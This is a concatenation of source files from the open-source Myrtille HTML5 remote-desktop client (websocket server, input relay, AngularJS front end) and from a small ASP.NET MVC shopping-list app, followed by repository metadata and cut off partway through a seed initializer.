compatibilityMode, Program = program } ); // register it at application level; used when there is no http context (i.e.: websockets) RemoteSessionManager.CurrentSessions.Add(sessionId, remoteSessionManager); System.Diagnostics.Trace.TraceError($"Added session {sessionId}. Current sessions: " + string.Join("\",\"", RemoteSessionManager.CurrentSessions.Keys)); } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to create remote session ({0})", exc); } // connect it try { // update the remote session state remoteSessionManager.RemoteSession.State = RemoteSessionState.Connecting; // create pipes for this web gateway and the rdp client to talk remoteSessionManager.Pipes.CreatePipes(); // the rdp client does connect the pipes when it starts; when it stops (either because it was closed, crashed or because the rdp session had ended), pipes are released // use http://technet.microsoft.com/en-us/sysinternals/dd581625 to track the existing pipes remoteSessionManager.Client.StartProcess( remoteSessionManager.RemoteSession.Id, remoteSessionManager.RemoteSession.ServerAddress, remoteSessionManager.RemoteSession.UserDomain, remoteSessionManager.RemoteSession.UserName, remoteSessionManager.RemoteSession.UserPassword, remoteSessionManager.RemoteSession.ClientWidth, remoteSessionManager.RemoteSession.ClientHeight, remoteSessionManager.RemoteSession.Program, remoteSessionManager.RemoteSession.DebugMode); // write the output HttpContext.Current.Response.Write($"{{\"sessionId\":\"{sessionId}\"}}"); } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to connect remote session {0} ({1})", remoteSessionManager.RemoteSession.Id, exc); } } } }<file_sep>(function () { 'use strict'; app.factory('RemoteDesktop', RemoteDesktop); RemoteDesktop.$inject = ['$http']; function RemoteDesktop($http) { var service = { session: { sessionId: undefined }, startConnection: startConnection, disconnect: disconnect, currentSessions: currentSessions }; return service; //////////// function startConnection(data) { return $http.post('StartConnection.aspx', data).then(function (response) { return response.data.sessionId; }); } function disconnect() { return $http.post('Disconnect.aspx', { sessionId: service.session.sessionId }).then(function (response) { service.session.sessionId = undefined; return; }); } function currentSessions() { return $http.post('CurrentSessions.aspx').then(function (response) { return response.data.currentSessions; }); } } })();<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /*****************************************************************************************************************************************************************************************************/ /*** Websocket ***/ /*****************************************************************************************************************************************************************************************************/ function Websocket(config, dialog, display, network) { var ws = null; var wsNew = true; var wsOpened = false; var wsError = false; var fullscreenPending = false; this.init = function() { try { // websocket server url var wsUrl; if (window.location.protocol == 'http:') { wsUrl = 'ws://' + window.location.hostname + ':' + config.getWebSocketPort(); } else { // undefined secure websocket port means that there is no available secure websocket server (missing .pfx certificate?); disable websocket // note that it's no longer possible to use unsecure websocket (ws://) when using https for the page... nowadays browsers block it... if (config.getWebSocketPortSecured() == null) { alert('no available secure websocket server. Please ensure a .pfx certificate is installed on the server'); config.setWebSocketEnabled(false); return; } wsUrl = 'wss://' + window.location.hostname + ':' + config.getWebSocketPortSecured(); } //dialog.showDebug('websocket server url: ' + wsUrl); var wsImpl = window.WebSocket || window.MozWebSocket; ws = new wsImpl(wsUrl); ws.onopen = function() { open(); }; ws.onmessage = function(e) { message(e); }; ws.onerror = function() { error(); }; ws.onclose = function(e) { close(e); }; } catch (exc) { dialog.showDebug('websocket init error: ' + exc.Message); config.setWebSocketEnabled(false); ws = null; } }; function open() { //dialog.showDebug('websocket connection opened'); wsOpened = true; // as websocket is now active, long-polling is disabled (both can't be active at the same time...) dialog.showStat('longpolling', false); // as websockets don't involve any standard http communication, the http session will timeout after a given time (default 20mn) // below is a dummy call, using xhr, to keep it alive window.setInterval(function() { //dialog.showDebug('http session keep alive'); network.getXmlhttp().send('', new Date().getTime()); }, config.getHttpSessionKeepAliveIntervalDelay()); //dialog.showDebug('initial fullscreen update'); network.send(null); } function message(e) { if (config.getAdditionalLatency() > 0) { window.setTimeout(function() { receive(e.data); }, Math.round(config.getAdditionalLatency() / 2)); } else { receive(e.data); } } function error() { dialog.showDebug('websocket connection error'); wsError = true; } function close(e) { wsOpened = false; if (!wsError) { //dialog.showDebug('websocket connection closed'); } else { alert('websocket connection closed with error (code ' + e.code + '). Please ensure the port ' + (window.location.protocol == 'http:' ? config.getWebSocketPort() + ' (standard' : config.getWebSocketPortSecured() + ' (secured') + ' port) is opened on your firewall and no third party program is blocking the network traffic'); // the websocket failed, disable it config.setWebSocketEnabled(false); dialog.showStat('websocket', config.getWebSocketEnabled()); // if long-polling is enabled, start it if (config.getLongPollingEnabled()) { alert('falling back to long-polling'); dialog.showStat('longpolling', true); // as a websocket was used, long-polling should be null at this step; ensure it if (network.getLongPolling() == null) { network.setLongPolling(new LongPolling(config, dialog, display, network)); network.getLongPolling().init(); } else { dialog.showDebug('network inconsistency... both websocket and long-polling were active at the same time; now using long-polling only'); network.getLongPolling().reset(); } } // otherwise, both websocket and long-polling are disabled, fallback to xhr only else { alert('falling back to xhr only'); // if using xhr only, force enable the user inputs buffer in order to allow polling update(s) even if the user does nothing ("send empty" feature, see comments in buffer.js) config.setBufferEnabled(true); // create a buffer if not already exists if (network.getBuffer() == null) { network.setBuffer(new Buffer(config, dialog, network)); network.getBuffer().init(); } // otherwise just enable its "send empty" feature else { network.getBuffer().setBufferDelay(config.getBufferDelayEmpty()); network.getBuffer().setSendEmptyBuffer(true); } } } } this.send = function(data, startTime) { try { // in case of ws issue, the event data is not sent // if that occurs and a buffer is used (not mandatory but will help to lower the network stress), the buffer must not be cleared... the event data can still be sent on its next flush tick! // this can't be done if no buffer is used (the unsent event data is lost...) var buffer = network.getBuffer(); if (buffer != null) { buffer.setClearBuffer(false); } if (ws == null) { //dialog.showDebug('ws is null'); return; } if (!wsOpened) { //dialog.showDebug('ws is not ready'); return; } ws.send( 'input' + '|' + config.getHttpSessionId() + '|' + (data == null ? '' : data) + '|' + (data == null ? 1 : 0) + '|' + display.getImgIdx() + '|' + config.getImageEncoding() + '|' + config.getImageQuality() + '|' + (network.getBandwidthUsageKBSec() != null && network.getBandwidthSizeKBSec() != null && network.getBandwidthSizeKBSec() > 0 ? Math.round((network.getBandwidthUsageKBSec() * 100) / network.getBandwidthSizeKBSec()) : 0) + '|' + (wsNew ? 1 : 0) + '|' + startTime); wsNew = false; if (buffer != null) { buffer.setClearBuffer(true); } } catch (exc) { dialog.showDebug('websocket send error: ' + exc.Message); } }; function receive(data) { try { //dialog.showDebug('received websocket message: ' + data); if (data != null && data != '') { // remote clipboard. process first because it may contain one or more comma (used as split delimiter below) if (data.length >= 10 && data.substr(0, 10) == 'clipboard|') { showDialogPopup('showDialogPopup', 'ShowDialog.aspx', 'Ctrl+C to copy to local clipboard (Cmd-C on Mac)', data.substr(10, data.length - 10), true); return; } var parts = new Array(); parts = data.split(','); // session disconnect if (parts.length == 1) { if (parts[0] == 'disconnected') { // the websocket can now be closed server side ws.send( 'close' + '|' + config.getHttpSessionId()); // the remote session is disconnected, back to home page // TODO: we should refactor this to make it an angular service and communicate to RemoteDesktop service angular.isFunction(window.onSessionDisconnect) && window.onSessionDisconnect(); } } // server ack else if (parts.length == 2) { if (parts[0] == 'ack') { //dialog.showDebug('websocket server ack'); // update the average "latency" network.updateLatency(parseInt(parts[1])); } } // new image else { var idx = parts[0]; var posX = parts[1]; var posY = parts[2]; var width = parts[3]; var height = parts[4]; var format = parts[5]; var quality = parts[6]; var base64Data = parts[7]; var fullscreen = parts[8] == 'true'; // update bandwidth usage if (base64Data != '') { network.setBandwidthUsageB64(network.getBandwidthUsageB64() + base64Data.length); } // if a fullscreen request is pending, release it if (fullscreen && fullscreenPending) { //dialog.showDebug('received a fullscreen update, divs will be cleaned'); fullscreenPending = false; } // add image to display display.addImage(idx, posX, posY, width, height, format, quality, base64Data, fullscreen); // if using divs and count reached a reasonable number, request a fullscreen update if (!config.getCanvasEnabled() && display.getImgCount() >= config.getImageCountOk() && !fullscreenPending) { //dialog.showDebug('reached a reasonable number of divs, requesting a fullscreen update'); fullscreenPending = true; network.send(null); } } } } catch (exc) { dialog.showDebug('websocket receive error: ' + exc.Message); } } }<file_sep>(function () { 'use strict'; app.controller('MainController', MainController); MainController.$inject = ['RemoteDesktop', '$uibModal']; function MainController(RemoteDesktop, $uibModal) { var vm = this; vm.session = RemoteDesktop.session; vm.showClipboard = showClipboard; vm.disconnect = disconnect; //////////// function showClipboard() { doXhrCall('RemoteClipboard.aspx?sessionId=' + RemoteDesktop.session.sessionId); } function disconnect() { if (RemoteDesktop.session.sessionId) { var modalInstance = $uibModal.open({ component: 'modalComponent', resolve: { title: function () { return "Close this session?"; }, content: function () { return ["Other users on this session will also be disconnected.", "If you do not want to force them to disconnect, just close the browser tab or reload the page."]; }, showCancelButton: function () { return true; } } }); modalInstance.result.then(function () { RemoteDesktop.disconnect().then(function () { }, function (response) { $uibModal.open({ component: 'modalComponent', resolve: { title: function () { return "Oops!"; }, content: function () { return response.data.message || ["It seems that it was not possible to disconnect from the session!", "Please, Try again reloading the page."]; } } }); }); }); } } } })();<file_sep>var app = angular.module("myrtille", ['ui.router', 'ui.bootstrap', 'ngAnimate']); app.config(function ($stateProvider, $urlRouterProvider) { $urlRouterProvider.otherwise('/'); $stateProvider // HOME STATES AND NESTED VIEWS ======================================== .state('home', { url: '/', //templateUrl: 'templates/partial-home.html', views: { 'left': { templateUrl: 'templates/partial-home-left.html', controller: 'LeftController as left' }, 'main': { templateUrl: 'templates/partial-home-main.html', controller: 'MainController as main' }, 'right': { templateUrl: 'templates/partial-home-right.html', controller: 'RightController as right' }, } }); });<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Collections.Generic; using System.Web; using System.Web.UI; namespace Myrtille.Web { public partial class SendInputs : Page { /// <summary> /// send user input(s) (mouse, keyboard) to the rdp session /// if long-polling is disabled (xhr only), also returns image data within the response /// </summary> /// <param name="sender"></param> /// <param name="e"></param> protected void Page_Load( object sender, EventArgs e) { // if cookies are enabled, the http session id is added to the http request headers; otherwise, it's added to the http request url // in both cases, the given http session is automatically bound to the current http context RemoteSessionManager remoteSessionManager = null; try { var sessionId = HttpContext.Current.Request.QueryString["sessionId"]; // retrieve the remote session manager for the requested session if (RemoteSessionManager.CurrentSessions.ContainsKey(sessionId)) { remoteSessionManager = RemoteSessionManager.CurrentSessions[sessionId]; } } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to retrieve the remote session manager for the http session {0}, ({1})", HttpContext.Current.Session.SessionID, exc); return; } try { // retrieve params var data = HttpContext.Current.Request.QueryString["data"]; var fsu = int.Parse(HttpContext.Current.Request.QueryString["fsu"]) == 1; var imgIdx = int.Parse(HttpContext.Current.Request.QueryString["imgIdx"]); var imgEncoding = HttpContext.Current.Request.QueryString["imgEncoding"]; var imgQuality = int.Parse(HttpContext.Current.Request.QueryString["imgQuality"]); var imgReturn = int.Parse(HttpContext.Current.Request.QueryString["imgReturn"]) == 1; var bandwidthRatio = int.Parse(HttpContext.Current.Request.QueryString["bandwidthRatio"]); // image encoding var encoding = ImageEncoding.JPEG; Enum.TryParse(imgEncoding, true, out encoding); remoteSessionManager.ImageEncoding = encoding; // throttle the image quality depending on the bandwidth usage ratio if (bandwidthRatio >= (int)ImageQualityTweakBandwidthRatio.HigherBound) { remoteSessionManager.ImageQuality = imgQuality / 4; } else if (bandwidthRatio >= (int)ImageQualityTweakBandwidthRatio.LowerBound && bandwidthRatio < (int)ImageQualityTweakBandwidthRatio.HigherBound) { remoteSessionManager.ImageQuality = imgQuality / 2; } else { remoteSessionManager.ImageQuality = imgQuality; } // if defined, send the user input(s) through the rdp session // also, a websocket triggers periodical dummy xhr calls, without data, in order to keep the http session alive; such calls musn't close the websocket! if (!string.IsNullOrEmpty(data)) { remoteSessionManager.SendUserEvent(data); // if a websocket is set at this step, the client had probably changed the rendering mode (html5 -> html4) or configuration while the remote session is active, then reloaded the page (F5) // close the websocket (a new one will be set if the client change back to html5 again...) /* We're now handling multiple sockets per RemoteSessionManager, so we cannot guarantee the socket is not being used if (remoteSessionManager.WebSocket != null) { System.Diagnostics.Trace.TraceInformation("Removing no longer used websocket (the client had probably changed the rendering mode from HTML5 to HTML4 then reloaded the page (F5)), remote session {0}", remoteSessionManager.RemoteSession.Id); remoteSessionManager.WebSocket.Close(); remoteSessionManager.WebSocket = null; } */ } // if requested, ask for a fullscreen update if (fsu) { System.Diagnostics.Trace.TraceInformation("Requesting fullscreen update, remote session {0}", remoteSessionManager.RemoteSession.Id); remoteSessionManager.SendCommand(RemoteSessionCommand.SendFullscreenUpdate); } // xhr only if (imgReturn) { var image = remoteSessionManager.GetNextUpdate(imgIdx); if (image != null) { System.Diagnostics.Trace.TraceInformation("Returning image {0} ({1}), remote session {2}", image.Idx, (image.Fullscreen ? "screen" : "region"), remoteSessionManager.RemoteSession.Id); var imgData = image.Idx + "," + image.PosX + "," + image.PosY + "," + image.Width + "," + image.Height + "," + image.Format.ToString().ToLower() + "," + image.Quality + "," + image.Base64Data + "," + image.Fullscreen.ToString().ToLower(); // write the output HttpContext.Current.Response.Write(imgData); } // ensure the remote session is still connected else if (remoteSessionManager.RemoteSession.State == RemoteSessionState.Disconnected) { HttpContext.Current.Response.Write("disconnected"); } // the remote clipboard content was requested else if (remoteSessionManager.ClipboardRequested) { HttpContext.Current.Response.Write(string.Format("clipboard|{0}", remoteSessionManager.ClipboardText)); remoteSessionManager.ClipboardRequested = false; } } } catch (Exception exc) { System.Diagnostics.Trace.TraceError("Failed to send user input(s), remote session {0} ({1})", remoteSessionManager.RemoteSession.Id, exc); } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Diagnostics; using System.ServiceModel; using System.ServiceProcess; using log4net.Config; namespace Myrtille.Services { public class Program : ServiceBase { private static ServiceHost _remoteSessionProcess; private static ServiceHost _localFileStorage; private static ServiceHost OpenService(Type serviceType) { ServiceHost serviceHost = null; try { serviceHost = new ServiceHost(serviceType); serviceHost.Open(); var description = serviceHost.Description; Console.WriteLine(string.Format("Service: {0}", description.ConfigurationName)); foreach (var endpoint in description.Endpoints) { Console.WriteLine(string.Format("Endpoint: {0}", endpoint.Name)); Console.WriteLine(string.Format("Address: {0}", endpoint.Address)); Console.WriteLine(string.Format("Binding: {0}", endpoint.Binding.Name)); Console.WriteLine(string.Format("Contract: {0}", endpoint.Contract.ConfigurationName)); Console.WriteLine(""); } } catch (Exception exc) { Trace.TraceError("Failed to start service ({0})", exc); if (serviceHost != null) { serviceHost.Abort(); } } return serviceHost; } private static void CloseService(ref ServiceHost serviceHost) { if (serviceHost != null) { serviceHost.Close(); serviceHost = null; } } private static void Main(string[] args) { // logger XmlConfigurator.Configure(); if (!Environment.UserInteractive) { Run(new Program()); } else { var consoleTraceListener = new ConsoleTraceListener(); consoleTraceListener.Filter = new EventTypeFilter(SourceLevels.Information); Trace.Listeners.Add(consoleTraceListener); _remoteSessionProcess = OpenService(typeof(RemoteSessionProcess)); _localFileStorage = OpenService(typeof(FileStorage)); Console.WriteLine("press any key to exit..."); Console.ReadKey(); CloseService(ref _remoteSessionProcess); CloseService(ref _localFileStorage); } } protected override void OnStart(string[] args) { _remoteSessionProcess = OpenService(typeof(RemoteSessionProcess)); _localFileStorage = OpenService(typeof(FileStorage)); } protected override void OnStop() { CloseService(ref _remoteSessionProcess); CloseService(ref _localFileStorage); } } }<file_sep>(function () { 'use strict'; app.controller('LeftController', LeftController); LeftController.$inject = ['RemoteDesktop', '$interval', '$uibModal']; function LeftController(RemoteDesktop, $interval, $uibModal) { var vm = this; var cancelRefreshCurrentSessions; vm.availableConfigs = window.availableConfigs; vm.currentSessions = []; vm.openSessionId = ""; vm.startConnection = startConnection; vm.joinConnection = joinConnection; activate(); //////////// function activate() { cancelRefreshCurrentSessions = $interval(function () { RemoteDesktop.currentSessions().then(function (currentSessions) { vm.currentSessions = currentSessions; }); }, 2000); window.onSessionDisconnect = function () { if (RemoteDesktop.session.sessionId) { var modalInstance = $uibModal.open({ component: 'modalComponent', resolve: { title: function () { return "Oops!"; }, content: function () { return "The session you are currently working on has been closed."; } } }); modalInstance.result.then(function () { window.location.reload(); }, function () { window.location.reload(); }); } else { window.location.reload(); } } } function startConnection(configID, program) { RemoteDesktop.startConnection({ configID: configID, program: program }).then(function (sessionId) { joinConnection(sessionId); }, function (result) { $uibModal.open({ component: 'modalComponent', resolve: { title: function () { return "Oops!"; }, content: function () { return result.data.message; } } }); }); } function joinConnection(sessionId) { // This is a horrible way of dealing with elements visibility, but this is just a POC angular.element(document.getElementById("main-pane").children[0]).removeClass("hidden"); vm.openSessionId = sessionId; RemoteDesktop.session.sessionId = sessionId; startMyrtille(sessionId, true, 8181, null, false, false, false); } } })();<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Collections.Generic; using System.Diagnostics; using Myrtille.Fleck; using System.Linq; namespace Myrtille.Web { public class RemoteSessionSocketServer { private static Global _global; private static List<IWebSocketConnection> _sockets; private static object _socketsLock; public RemoteSessionSocketServer(Global global, IWebSocketServer server) { // websockets are not bound to an http context... the remote session manager must be retrieved from an application perspective _global = global; // logs FleckLog.Level = LogLevel.Warn; FleckLog.LogAction = (level, message, ex) => { switch (level) { case LogLevel.Debug: Trace.TraceInformation(message, ex); break; case LogLevel.Warn: Trace.TraceWarning(message, ex); break; case LogLevel.Error: Trace.TraceError(message, ex); break; default: Trace.TraceInformation(message, ex); break; } }; // sockets _sockets = new List<IWebSocketConnection>(); _socketsLock = new object(); // start sockets server server.Start(socket => { socket.OnOpen = () => { Open(socket); }; socket.OnMessage = message => ProcessMessage(socket, message); socket.OnError = exception => { Trace.TraceError("Websocket error {0}", exception); }; socket.OnClose = () => { Close(socket); }; }); } private static void Open(IWebSocketConnection socket) { try { lock (_socketsLock) { _sockets.Add(socket); Trace.TraceInformation("Added websocket, count: {0}", _sockets.Count); } } catch (Exception exc) { Trace.TraceError("Failed to register websocket ({0})", exc); } } private static void Close(IWebSocketConnection socket) { try { lock (_socketsLock) { _sockets.Remove(socket); Trace.TraceInformation("Removed websocket, count: {0}", _sockets.Count); } } catch (Exception exc) { Trace.TraceError("Failed to unregister websocket ({0})", exc); } } private static void ProcessMessage(IWebSocketConnection socket, string message) { if (string.IsNullOrEmpty(message)) { Trace.TraceWarning("Received null or empty websocket message"); return; } var msgParams = message.Split(new[] { "|" }, StringSplitOptions.None); if (msgParams.Length >= 2) { var httpSessionId = msgParams[1]; RemoteSessionManager remoteSessionManager = null; try { // retrieve the remote session manager for the given http session (the http session id is passed as parameter as the ws protocol doesn't pass it automatically) remoteSessionManager = RemoteSessionManager.CurrentSessions[httpSessionId]; } catch (Exception exc) { Trace.TraceError("Failed to retrieve the remote session manager for the http session {0}, ({1})", httpSessionId, exc); return; } try { switch (msgParams[0]) { // user input (mouse, keyboard) case "input": var data = msgParams[2]; var fsu = int.Parse(msgParams[3]) == 1; var imgIdx = int.Parse(msgParams[4]); var imgEncoding = msgParams[5]; var imgQuality = int.Parse(msgParams[6]); var bandwidthRatio = int.Parse(msgParams[7]); var newSocket = int.Parse(msgParams[8]) == 1; var timestamp = long.Parse(msgParams[9]); // if the socket is new, bind it to the remote session manager // close the old one, if any if (newSocket) { // ensure the remote session is still connected if (remoteSessionManager.RemoteSession.State == RemoteSessionState.Disconnected) { if (socket.IsAvailable) { socket.Send("disconnected"); } return; } remoteSessionManager.WebSockets.Add(socket); } // image encoding var encoding = ImageEncoding.JPEG; Enum.TryParse(imgEncoding, true, out encoding); remoteSessionManager.ImageEncoding = encoding; // throttle the image quality depending on the bandwidth usage ratio if (bandwidthRatio >= (int)ImageQualityTweakBandwidthRatio.HigherBound) { remoteSessionManager.ImageQuality = imgQuality / 4; } else if (bandwidthRatio >= (int)ImageQualityTweakBandwidthRatio.LowerBound && bandwidthRatio < (int)ImageQualityTweakBandwidthRatio.HigherBound) { remoteSessionManager.ImageQuality = imgQuality / 2; } else { remoteSessionManager.ImageQuality = imgQuality; } // if defined, send the user input(s) through the rdp session if (!string.IsNullOrEmpty(data)) { remoteSessionManager.SendUserEvent(data); } // if requested, ask for a fullscreen update if (fsu) { Trace.TraceInformation("Requesting fullscreen update, remote session {0}", remoteSessionManager.RemoteSession.Id); remoteSessionManager.SendCommand(RemoteSessionCommand.SendFullscreenUpdate); } // acknowledge the message processing with the given timestamp; it will be used by the client to compute the roundtrip delay socket.Send("ack," + timestamp); break; // remote session has been disconnected; close the websocket case "close": foreach(var webSocket in remoteSessionManager.WebSockets.ToList()) { webSocket.Close(); remoteSessionManager.WebSockets.Remove(webSocket); } break; } } catch (Exception exc) { Trace.TraceError("Failed to process websocket message, remote session {0} ({1})", remoteSessionManager.RemoteSession.Id, exc); } } else { Trace.TraceError("Failed to parse websocket message {0}", message); } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Security.Cryptography.X509Certificates; using System.Web; using System.Web.Configuration; using log4net.Config; using Myrtille.Fleck; namespace Myrtille.Web { public enum HttpApplicationStateVariables { Cache, RemoteSessionsCounter, RemoteSessionsManagers, WebSocketServerPort, WebSocketServerPortSecured } public enum HttpSessionStateVariables { RemoteSessionManager } public class Global : HttpApplication { protected void Application_Start( object sender, EventArgs e) { try { // logger XmlConfigurator.Configure(); // application cache Application[HttpApplicationStateVariables.Cache.ToString()] = Context.Cache; // remote sessions auto-incremented counter Application[HttpApplicationStateVariables.RemoteSessionsCounter.ToString()] = 0; // remote sessions managers Application[HttpApplicationStateVariables.RemoteSessionsManagers.ToString()] = new Dictionary<string, RemoteSessionManager>(); // start a websocket server on a standard port; the port must be opened into your firewall (incoming traffic) var webSocketServerPort = 8181; if (!string.IsNullOrEmpty(WebConfigurationManager.AppSettings["WebSocketServerPort"])) { webSocketServerPort = int.Parse(WebConfigurationManager.AppSettings["WebSocketServerPort"]); } Application[HttpApplicationStateVariables.WebSocketServerPort.ToString()] = webSocketServerPort; var server = new WebSocketServer(string.Format("ws://0.0.0.0:{0}", webSocketServerPort)); new RemoteSessionSocketServer(this, server); // the installer creates a self-signed certificate for myrtille, but you can set your own certificate (if you wish) as follow: // - export your SSL certificate in .PFX format, with the private key // - save it into the myrtille "ssl" folder with the name "PKCS12Cert.pfx" // check existence of a certificate (note that ".pfx" MIME type is blocked for download for the application...) if (!File.Exists(Path.Combine(Server.MapPath("~"), "ssl", "PKCS12Cert.pfx"))) { Application[HttpApplicationStateVariables.WebSocketServerPortSecured.ToString()] = null; } else { // start a websocket server on a secured port; the port must be opened into your firewall (incoming traffic) var webSocketServerPortSecured = 8431; if (!string.IsNullOrEmpty(WebConfigurationManager.AppSettings["WebSocketServerPortSecured"])) { webSocketServerPortSecured = int.Parse(WebConfigurationManager.AppSettings["WebSocketServerPortSecured"]); } Application[HttpApplicationStateVariables.WebSocketServerPortSecured.ToString()] = webSocketServerPortSecured; server = new WebSocketServer(string.Format("wss://0.0.0.0:{0}", webSocketServerPortSecured)); server.Certificate = new X509Certificate2(Path.Combine(Server.MapPath("~"), "ssl", "PKCS12Cert.pfx"), ""); new RemoteSessionSocketServer(this, server); } } catch (Exception exc) { Trace.TraceError("Failed to start Myrtille.Web application ({0})", exc); throw; } } } }<file_sep>/* Myrtille: A native HTML4/5 Remote Desktop Protocol client. Copyright(c) 2014-2016 <NAME> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ namespace Myrtille.Web { public enum ImageFormat { PNG = 0, JPEG = 1, WEBP = 2, CUR = 3 } public enum ImageEncoding { PNG = 0, JPEG = 1, // default PNG_JPEG = 2, WEBP = 3 } public enum ImageQuality { Low = 10, Medium = 25, High = 50, // default; may be tweaked dynamically depending on image encoding and client bandwidth Higher = 75, // used for fullscreen updates Highest = 100 } public enum ImageQualityTweakBandwidthRatio { LowerBound = 50, HigherBound = 90 } public class RemoteSessionImage { public int Idx; public int PosX; public int PosY; public int Width; public int Height; public ImageFormat Format; public int Quality; public string Base64Data; public bool Fullscreen; } }
a47d40fe7c8c6a0bab06a085f906d576a0624dd0
[ "JavaScript", "C#" ]
26
JavaScript
pablo-martinez/RemoteAppPluginSoln
1373c0a094e92204be913d1008e84a5eaf1a0a14
8a7c93cccf9533c5dd4d883d176a84a9cfbb114f
refs/heads/develop
<file_sep>using System; using System.Collections.Generic; using System.Data; using System.Data.Entity; using System.Linq; using System.Net; using System.Web; using System.Web.Mvc; using ShoppingList.Data; using ShoppingList.Models; using ShoppingList.Services; using Microsoft.AspNet.Identity; namespace ShoppingList.Controllers { public class ListShoppingController : Controller { private ApplicationDbContext db = new ApplicationDbContext(); private ListService CreateListService() { var userId = Guid.Parse(User.Identity.GetUserId()); var service = new ListService(userId); return service; } private ListService CreateListItemService() { var userId = Guid.Parse(User.Identity.GetUserId()); var service = new ListService(userId); return service; } // GET: ListShopping [Authorize] public ActionResult Index() { var service = CreateListService(); var model = service.GetShoppingList(); return View(model); } // GET: ListShopping/Create public ActionResult Create() { return View(); } // GET: ListShopping/Details/5 public ActionResult Details(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } ListShopping listShopping = db.ShoppingLists.Find(id); if (listShopping == null) { return HttpNotFound(); } return View(listShopping); } // POST: ListShopping/Create // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] [ValidateAntiForgeryToken] public ActionResult Create(ListShopping model) { if (!ModelState.IsValid) return View(model); var service = CreateListService(); if (service.CreateList(model)) { return RedirectToAction("Index"); } //If it fails the ModelState.AddModelError would display that the note was not created in the validation summary ModelState.AddModelError("", "Your note could not be create."); return View(model); } // GET: ListShopping/Edit/5 public ActionResult Edit(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } ListShopping listShopping = db.ShoppingLists.Find(id); if (listShopping == null) { return HttpNotFound(); } return View(listShopping); } // POST: ListShopping/Edit/5 // To protect from overposting attacks, please enable the specific properties you want to bind to, for // more details see https://go.microsoft.com/fwlink/?LinkId=317598. [HttpPost] public ActionResult Edit([Bind(Include = "shoppingListId,UserId,ListName,Color,CreatedUtc,ModifiedUtc")] ListShopping listShopping) { if (ModelState.IsValid) { db.Entry(listShopping).State = EntityState.Modified; db.SaveChanges(); return RedirectToAction("Index"); } return View(listShopping); } // GET: ListShopping/Delete //GET: ListShopping/Delete/5 public ActionResult Delete(int? id) { if (id == null) { return new HttpStatusCodeResult(HttpStatusCode.BadRequest); } ListShopping listShopping = db.ShoppingLists.Find(id); if (listShopping == null) { return HttpNotFound(); } return View(listShopping); } //POST: ListShopping/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public ActionResult DeleteConfirmed(int id) { ListShopping listShopping = db.ShoppingLists.Find(id); db.ShoppingLists.Remove(listShopping); db.SaveChanges(); return RedirectToAction("Index"); } } } <file_sep>using ShoppingList.Models; using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace ShoppingList.Data { public class ListInitializer : System.Data.Entity.DropCreateDatabaseIfModelChanges<ApplicationDbContext> { protected override void Seed(ApplicationDbContext context) { var ListItems = new List<ShoppingListItem> { new ShoppingListItem{shoppingItemId = 1, shoppingListId = 1, ListContent = "Eggs", Priority = Priority.Low}, new ShoppingListItem{shoppingItemId = 2, shoppingListId = 1, ListContent = "bacon", Priority = Priority.High}, new ShoppingListItem{shoppingItemId = 3, shoppingListId = 1, ListContent = "grits", Priority = Priority.Medium}, new ShoppingListItem{shoppingItemId = 4, shoppingListId = 1, ListContent = "sausage", Priority = Priority.Low} }; ListItems.ForEach(s => context.ShoppingListItems.Add(s)); context.SaveChanges(); var ListsShopping = new List<ListShopping> { new ListShopping{shoppingListId = 1, ListName = "Grocery", Color = 